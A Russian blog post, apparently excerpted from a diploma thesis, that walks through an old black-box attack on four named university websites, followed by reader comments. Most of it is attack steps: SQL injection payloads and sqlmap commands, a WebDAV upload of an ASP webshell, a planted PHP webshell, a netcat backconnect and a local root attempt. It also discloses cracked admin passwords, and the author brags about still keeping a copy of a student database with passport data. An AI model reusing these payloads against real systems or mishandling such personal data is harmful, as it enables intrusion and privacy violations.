Предисловие.
Стоя у истоков своей неудавшейся карьеры, мне выпал карт-бланш на пенетрацию серверов нашего местного педа по-черному. Я был молод, амбициозен и ориентирован на искрометный прыжок сквозь техническую сингулярность в наше великолепное кибер-будущее-2020. Кульминацией моего кул-хацкинг-прошлого стала диспломная работа. Ввиду того что, в России дипломная работа является по большей части отпиской, неудовлетворенность в том, что мой диплом так и не был никем прочитан а кем все таки был, был непонят, выдержки из него публикую тут. Чувство радости, охватившее меня держало несколько месяцев увлеченной работы, результатом которой я и хотел бы поделиться, осознавши себя именно now(), спустя почти десяток лет, кибер-рабочим, кладущим кибер-кирпичи, так еще и не очень ровно, так получилось...
Информация представленная здесь носит исключительно познавательный характер. Ресурсы закрыты, баги спустя много лет пофикшены, некоторые данные изменены, в любом случае повторение подобных действий незаконно. Цель -- показать процесс аудита методом черного ящика на вполне конкретном примере и законных основаниях.
Помни про УК:
Статья 272. Неправомерный доступ к компьютерной информации.
Статья 273. Создание, использование и распространение вредоносных программ для ЭВМ.
Статья 274. Нарушение правил эксплуатации средств хранения, обработки или передачи компьютерной информации и информационно-телекоммуникационных сетей.
Глава 2. Практика
В нашей работе был произведен аудит внешних веб-ресурсов РГПУ им. А.И. Герцена.
Целью аудита было выявление критических уязвимостей, позволяющих получить доступ к тем или иным частям ИС.
Ресурс 1: Фундаментальная библиотека имени императрицы Марии Федоровны.
Первая уязвимость была найдена вручную. Изменив значение параметра "page" с 9 до 20 в URI lib.herzen.spb.ru/news/default.asp?page=9, была замечена ошибка системы управления базами данных MSSQL.
![](https://habrastorage.org/getpro/habr/upload_files/aaa/add/17e/aaaadd17e548542b6d102601d79e9a79.png)
После некоторых манипуляций с параметром и подбором полей мы получили URI следующего вида:
lib.herzen.spb.ru/news/news_detail.asp?id='1'+union+select+1,2,3,4,5,6,7.
Далее необходимо было найти базу данных пользователей и узнать пароль администратора. В браузерной строке были проделаны следующие манипуляции:
lib.herzen.spb.ru/news/news_detail.asp?id='1'+union+select+1,TABLE_NAME,3,4,5,6,7+from+information_schema.tables
lib.herzen.spb.ru/news/news_detail.asp?id='1'+union+select+top+1+1,TABLE_NAME,3,4,5,6,7+from+information_schema.tables+WHERE+TABLE_NAME+NOT+IN+('comment','news','dtproperties')
Обнаружилось, что база данных имеет всего три таблицы, и при этом ни одна из них даже отдаленно не напоминала необходимую.
Конечно, с помощью нее можно извлечь различные конфиденциальные данные, но они не позволят проникнуть на сервер.
Было принято решение отложить тестирование этой уязвимости и запустить acunetix web vulnerability scanner. Спустя некоторое время был получен отчет об уязвимостях. Критических уязвимостей оказалось две:
-
Passive XSS уязвимость.
URI уязвимости: lib.herzen.spb.ru/marcweb/workdict.asp
Уязвимы все поля, пример уязвимого кода: onmouseover=prompt(966376) bad=
WebDAV Directory with Write Permissions. URI уязвимости: lib.herzen.spb.ru/marcweb/exe/tmp/ и lib.herzen.spb.ru/marcweb/exe/.
Уязвимость по протоколу WebDAV, работающему поверх HTTP, позволяет создавать файлы на сервере посредством «http методов».
Наиболее интересной для нас является уязвимость номер два, с чьей помощью мы можем выполнить PUT, а затем и MOVE метод с помощью протокола telnet.
Был найден шелл для системы на ASP.NET. Его название: «_.-:-> NeoHack <-:-._», ( ред. Странно, что не Trinity.exe ) он был передан вместе с PUT запросом на сервер.
![](https://habrastorage.org/getpro/habr/upload_files/da4/27e/128/da427e128d052e6b2585b120361a0ba7.png)
В ответ мы получили сообщение об успешном создании файла "1.txt", который теперь находится по адресу lib.herzen.spb.ru/marcweb/exe/tmp/1.txt.
![](https://habrastorage.org/getpro/habr/upload_files/6eb/9e0/234/6eb9e0234b430ca2e507149f18a52838.png)
Однако файл оказался неисполняемым, потребовалось его переименовать при помощи метода MOVE в файл с названием "1.asp;.jpg".
![](https://habrastorage.org/getpro/habr/upload_files/cbf/694/a0c/cbf694a0ccb0631858d768963d5c1477.png)
Запрос выполнен.
![](https://habrastorage.org/getpro/habr/upload_files/0d3/72c/e4a/0d372ce4ad59b87c8397024a604e8e25.png)
Теперь, перейдя по адресу lib.herzen.spb.ru/marcweb/exe/tmp/1.asp;.jpg, мы увидим полноценный «шелл».
![](https://habrastorage.org/getpro/habr/upload_files/7b4/1d1/4ac/7b41d14acb03d42921f543e6590ec846.png)
Недолго искав, находим файл CONFIG.ASP.
![](https://habrastorage.org/getpro/habr/upload_files/1f8/546/ec9/1f8546ec99e7bbf25cdc8641ae67f509.png)
В нем лежит логин и пароль в открытом виде:
![](https://habrastorage.org/getpro/habr/upload_files/f65/302/f29/f65302f29b9e2fc267f5d31150493945.jpg)
Заранее просканировав сайт при помощи инструмента Havij, мы знаем, что страница администратора находится по адресу lib.herzen.spb.ru/news/adm/.
Воспользовавшись логином и паролем, полученными ранее, мы совершили вход в административную часть сайта.
![](https://habrastorage.org/getpro/habr/upload_files/c84/a31/91d/c84a3191dd77fbc3cecf565b10bd7a5b.png)
Теперь мы имеем достаточно привилегий на добавление и редактирование статей.
Помимо доступа к административной части сайта с полными правами на чтение, редактирование и удаление файлов в корневом каталоге сайта мы имеем доступ на чтение почти всех файлов на сервере, например в каталоге WINDOWS/System32.
Ресурс 2: Университетский образовательный округ РГПУ им. А.И. Герцена
В строке okrug.herzen.spb.ru/do/sub есть уязвимый аргумент subjects, который передается посредством POST запроса.
Запрос в sqlmap выглядит следующим образом:
python sqlmap.py -u http://okrug.herzen.spb.ru/do/sub/ --data="name=name&email=mail@email.ru&subjects=1&text=text&send=%CE%F2%EF%F0%E0%E2%E8%F2%FC" -p subjects –sql-shell
С помощью него мы получим SQL шелл. В аргумент 'subjects' мы передаем следующие значения:
name=name&email=mail@email.ru&subjects=1' RLIKE (SELECT (CASE WHEN (5587=5587) THEN 1 ELSE 0x28 END)) AND 'mJSm'='mJSm&text=text&send=%CE%F2%EF%F0%E0%E2%E8%F2%FC
name=Acunetix&email=smail@email.ru&subjects=1' AND (SELECT 8432 FROM(SELECT COUNT(*),CONCAT(0x7171686771,(SELECT (CASE WHEN (8432=8432) THEN 1 ELSE 0 END)),0x7177616c71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'XRst'='XRst&text=text&send=%CE%F2%EF%F0%E0%E2%E8%F2%FC
name=Acunetix&email=sample@email.tst&subjects=1' AND SLEEP(5) AND 'cwWR'='cwWR&text=111-222-1933email@address.tst&send=%CE%F2%EF%F0%E0%E2%E8%F2%FC
![](https://habrastorage.org/getpro/habr/upload_files/f81/4d2/fe8/f814d2fe88f805d7d5e458a388657591.png)
На данном этапе мы получили доступ к базе данных. Проанализировав данные, мы нашли таблицу 0users. В ней оказались логины и md5 хэши паролей для входа в административную часть сайта.
Воспользовавшись такими ресурсами как rachid.dk и md5decoder.org, мы с легкостью расшифровали два следующих хэша: 3fa08bcbb256da891dbfc106b68384db и 2332dc1dc2f0fd1377f122fdb5a3052b. Пароли данных хэшей: hokrug и okruh соответственно. Логин для обоих паролей был – 0admin
![](https://habrastorage.org/getpro/habr/upload_files/a54/d37/f69/a54d37f691f393bb3cec6aecab6cbbf6.jpg)
![](https://habrastorage.org/getpro/habr/upload_files/128/522/229/128522229e710de7577aace539290d34.jpg)
Теперь мы можем пользоваться административной частью сайта, расположенной по адресу http://okrug.herzen.spb.ru/admin/login.php.
![](https://habrastorage.org/getpro/habr/upload_files/6d5/f59/8aa/6d5f598aa5ce99f8514d9c7ec3388ef6.png)
В разделе сайта «Шаблоны страниц» мы можем создавать шаблоны страниц с произвольным PHP кодом. Воспользовавшись этим создадим файл с шеллом с названием 1.inc.php. Название шелла: «b374k m1n1 1.01». Теперь по адресу http://okrug.herzen.spb.ru/templates/1.inc.php располагается полноценный шелл.
![](https://habrastorage.org/getpro/habr/upload_files/1ec/00d/af1/1ec00daf18232eb5abd9a8e21da363ec.png)
Изучив файлы, находящиеся на сервере, мы обнаружили следующие файлы: passwd, находящийся в папке /etc/ хранящий в себе информацию о настройках прав доступа, файл globalconfig.inc.php находящийся в папке /usr/share/nginx/www/ и хранящий в себе логин:пароль для доступа к базе данных Mysql.
![](https://habrastorage.org/getpro/habr/upload_files/2c7/740/732/2c7740732e95fd2115db34ccc417ab0d.jpg)
![](https://habrastorage.org/getpro/habr/upload_files/809/1c0/08c/8091c008cb9f58e856490fa08e10ad0a.png)
Поскольку мы уже изучили все данные в СУБД, попробуем получить root доступ. Создадим файл exploit.c на сервере, содержащий в исходном коде local root exploit. Откроем порт 4000 с помощью netcat командой nc -l 4000. Сделаем бэкконект на данный порт при помощи стандартных возможностей шелла. Теперь мы можем исполнять команды непосредственно из командной строки. К сожалению, на сервере не установлен gcc или любой подобный компилятор, либо к нему просто нет доступа, что более вероятно.
Ресурс 3: Электронный атлас
Уязвимый параметр id в URI herzen.spb.ru/chair_types.php?id=1 и такой инструмент как sqlmap позволили получить полный доступ к базе данных, находящейся по адресу /home/umo/HERZEN.FDB.
Команда в sqlmap выглядит следующим образом:
python sqlmap.py -u http://herzen.spb.ru:80/chair_type.php?id=1
Значения, которые нужно передать параметру id для тестирования инъекции, выглядят следующим образом:
-9591 UNION ALL SELECT NULL,'qvlyq'||'aHGhoCJksT'||'quqdq',NULL,NULL,NULL FROM RDB$DATABASE--
1 AND 7686=7686
AND 6277=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)
Название базы данных - «Firebird_masterdb», а её размер - более 3Гб.
База содержит 324 таблицы с конфиденциальными данными университета.
Пример одной из таблиц: список текущих студентов университета, содержащий в себе полные имена, адреса, телефоны, паспортные данные, баллы за ЕГЭ, номера зачеток и другие конфиденциальные сведения.
!!!
( ред. В итоге это был бекап... Пруфов не будет, но база где-то до сих пор валяется у меня на флешке. )
Пользователь, с которого мы имеем доступ к СУБД, «SYSDBA» является также администратором базы данных и имеет все привилегии на сервере.
Исходя из этого, помимо просмотра, нам также доступны права на редактирование и удаление данных.
При помощи FirebirdSQL невозможно создать файл на сервере, а значит и получить доступ к серверу на данный момент нельзя.
Ресурс 4: Телефонная книга университета
В URI phones.herzen.spb.ru/index.php?b=А&sort=post&l=0 оказалось два уязвимых параметра. Параметр "sort" позволял выполнить только «слепую» инъекцию, и поэтому мы сосредоточились на параметре "b".
Вручную изменять значения параметра "b" в запросе b=А&sort=post&l=0 оказалось сложнее, чем предполагалось ранее, и поэтому было принято решение использовать sqlmap.
Команда в sqlmap выглядит следующим образом:
python sqlmap.py -u phones.herzen.spb.ru/index.php?b=1.
Окончательное значение, которое нужно передать параметру, выглядит следующим образом:
1') AND (SELECT 2920 FROM(SELECT COUNT(*),CONCAT(0x3a696c6c3a,(SELECT (CASE WHEN (2920=2920) THEN 1 ELSE 0 END)),0x3a6364773a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('YFEv'='YFEv
Теперь, запустив sqlmap с параметром --sql-shell, мы получили командную строку, с помощью которой можем извлекать информацию из баз данных, как это показано на изображении.
python sqlmap.py -u phones.herzen.spb.ru/index.php?b=1 --sql-shell
![](https://habrastorage.org/getpro/habr/upload_files/948/ea1/5c1/948ea15c11593b257aaa1f9e1f809fcc.png)
Необходимые нам данные оказались в таблице "telefon_users", которая принадлежит базе данных "phones".
Запрос select telefon_users_id, telefon_users_log, telefon_users_name, telefon_users_pass, from telefon_users
в sql-shell выдал нам данные обо всех зарегистрированных пользователях.
![](https://habrastorage.org/getpro/habr/upload_files/e1d/10b/e89/e1d10be8951c4f0984fef19642a7f12a.jpg)
C помощью логина и пароля зарегистрированных пользователей можно легко подключиться к административной части сайта.
![](https://habrastorage.org/getpro/habr/upload_files/b18/dcf/7e6/b18dcf7e637601f0e2a4511f87f7342e.jpg)
К сожалению, привилегий на выполнение команды создания файла средствами Mysql оказалось недостаточно. Доступ к серверу на данный момент не получен.
Комментарии (5)
janekprostojanek
05.01.2022 07:38+1Кто на ком стоял?
Это вы кладете кирпичи, то есть, извините, посты в ДТП и ЧП?
Про десять лет неудавшейся карьеры и непонятность непонятно. Вы отсидели за свой диплом вместо того, чтоб его защитить?
borovinskiy
05.01.2022 12:19+1Скажите, а какого года это исследование? На скриншоте увидел 2013 год, а сейчас CMS у библиотеки видимо на PHP, а не на ASP.
И почему оно появилось именно сейчас? В вузе, как известно, идет внутренняя борьба, смещение ректора и т.д. и немного походит на слив компромата в рамках внутренней борьбы.EvaO2 Автор
05.01.2022 12:38+4Исследование +- десятилетней давности. Почему появилось сейчас, описал в первом абзаце. Публикация лишена политического контекста.
akhalat
06.01.2022 08:58-1В теме не разбираюсь, поэтому может быть глупый вопрос но всё же. Вот вы пишите: уязвим один параметр, уязвим другой. Это были уязвимости конкретной версии этой «MSSQL»?
vilgeforce
Неправильно настроены DNS сервера: два отдают зону целиком и без лишних вопросов и уже не нужно искать поддомены ;-) И так ДЖВА года подряд! Ну и если у вас там есть контакты ответственных - стуканитесь в личку, есть и более интересные вещи у них ;-)